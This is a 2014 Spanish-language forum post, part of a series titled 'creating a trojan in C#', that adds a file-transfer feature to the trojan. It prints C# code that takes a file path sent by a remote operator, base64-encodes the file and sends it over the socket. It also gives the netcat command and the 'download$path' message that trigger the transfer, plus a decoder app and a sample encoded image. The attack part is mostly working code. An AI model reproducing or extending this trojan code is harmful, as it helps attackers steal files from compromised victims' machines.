1
Investigación de Malware / Re:Creando un Troyano en C# [Transferencia de archivos]
« en: Enero 13, 2014, 08:39:34 pm »
Seguímos usando la misma clase utilidades solo que agregarémos el metodo "downloadFile":
aquí lo que hacemos es convertir un archivo a base64
ahora agregamos una comparación a nuestra clase Server en el metodo LeerDatos:
y modificamos nuestra variable enumerada "mensajes":
por ultimo nos conectanos a nuestro server mediante netcat: -lvp 9999
y escribimos el mensaje:
nos damos cuenta que netcat nos muestra todo el codigo en base64, solo nos queda escribir un programa para desencriptar ese codigo.
Creamos un nuevo proyecto y en el form agregamos un textbox y un boton (podemos agregar mas cosas pero para hacerlo sencillo solo agregaré esos dos componentes)
y nos queda de esta forma:
hacemos doble click en el boton para agregar codigo:
y con eso "creamos" el archivo que hemos "descargado" del servidor
noten que aqui he hardcodeado la variable "sImagenTemporal " con un ombre de archivo y formato, esto lo he hecho así por motivos de simplicidad ya que en mi caso he descargado una imagen, pero lo que deben hacer es crear un savefiledialog pero eso ya es cosa de uds.
les dejo una idea sobre como quedaría ya con el codigo en base64:
ahora solo peguen todo lo ques les muestra netcat y peguenlo en el decripter que hicimos, click en el boton y listoooo
Código: [Seleccionar]
public static string downloadFile(string ruta)
{
FileStream fs = new FileStream(ruta, FileMode.Open);
BinaryReader lector = new BinaryReader(fs);
byte[] bytes = new byte[(int)fs.Length];
string cadena = null;
try
{
lector.Read(bytes, 0, bytes.Length);
cadena = Convert.ToBase64String(bytes);
}
catch (IOException ex)
{
cadena = "error";
}
return cadena;
}
aquí lo que hacemos es convertir un archivo a base64
ahora agregamos una comparación a nuestra clase Server en el metodo LeerDatos:
Código: [Seleccionar]
if (String.Compare(cadena[0], mensajes.download.ToString()) == 0)
{
sw.WriteLine(Utilidades.downloadFile(cadena[1]));
}
y modificamos nuestra variable enumerada "mensajes":
Código: [Seleccionar]
private enum mensajes
{
CD,
Mensaje,
comando,
download
}
por ultimo nos conectanos a nuestro server mediante netcat: -lvp 9999
y escribimos el mensaje:
Código: [Seleccionar]
download$ruta_de_archivo
nos damos cuenta que netcat nos muestra todo el codigo en base64, solo nos queda escribir un programa para desencriptar ese codigo.
Creamos un nuevo proyecto y en el form agregamos un textbox y un boton (podemos agregar mas cosas pero para hacerlo sencillo solo agregaré esos dos componentes)
y nos queda de esta forma:
hacemos doble click en el boton para agregar codigo:
Código: [Seleccionar]
string sImagenTemporal = "pruebaaaaa.png"; //Nombre y formato que queramos
FileStream fs2 = new FileStream(sImagenTemporal, FileMode.Create);
BinaryWriter bw = new BinaryWriter(fs2);
byte[] bytes = new byte[(int)fs2.Length];
try
{
bytes = Convert.FromBase64String(textBox1.Text);
bw.Write(bytes);
}
finally
{
fs2.Close();
}
y con eso "creamos" el archivo que hemos "descargado" del servidor
noten que aqui he hardcodeado la variable "sImagenTemporal " con un ombre de archivo y formato, esto lo he hecho así por motivos de simplicidad ya que en mi caso he descargado una imagen, pero lo que deben hacer es crear un savefiledialog pero eso ya es cosa de uds.
les dejo una idea sobre como quedaría ya con el codigo en base64:
Código: [Seleccionar]
download$C:\Users\Devil\Desktop\DD\PC\Devil\1.png
iVBORw0KGgoAAAANSUhEUgAAA5IAAABlCAIAAACwbEt5AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAChZSURBVHhe7Z39j17Hdd/9txhFkEjUUiRF0oqg0pQoWpZM
+YVcsFBBu7KoN1t1ItVUljThAgkp2nFkNXVleEuVcpFCgVXUcSEZSwkQahcKkh8CQQiyUgKhQALECYEI
kNlCQAALUM/MuXPumTMvz9znPrv7PLvfgw8Wc889M3Nm7ty5X17eJT920003AwAAAAAAMOdMI1u//e3v
vPnmm+fPf/OWWw6YUwAAAAAAAGwEg2Xr2bPf+CjY+++//+KLf/z5z58wMQAAAAAAAMyWYbL1ySe//uGH
H3aiVZkJAwAAAAAAYLYMkK1/+If/8Ve/+lUnVGMzkQAAAAAAAMyWXrbee++xl19+5cUX/zj7xWrpPSub
CQYAAAAAAGC29LK1U6AfffRXf7V+5MinxE/UNSuZDq5z/Mxqb2eWzdl5wGf4rdOHrf+mm5bdmZCzD3vq
eBSwSRw+/S03e9XeXXrJ9IpztslTa5dO32mcjO8o2LjL7UY9B5MPAAAAgK0iI1vJ3n///YceeoT9Z89+
Q2vWDz744Pz5b3YHwaSRKneevhRpl+OnHz7cn50XWGmlOoxk06VLvXLaMg4/fEmr6uNPrV7KTSP5rbBz
svvMce2ZDQXZWr7cpZyraNkKAAAAgB2Ila1/9Ef/jQskVb///R98+9vf4UO2X/ziF8vLJyVYTBqpYfTW
vOJEGMlTq/mcCJsb2apyK0rARKRmhOxsyMvWyuWGbAUAAADAcKxspYIoV2NvvPGnt9/+SR0sxs5J1N72............... mas codigo en base64
ahora solo peguen todo lo ques les muestra netcat y peguenlo en el decripter que hicimos, click en el boton y listoooo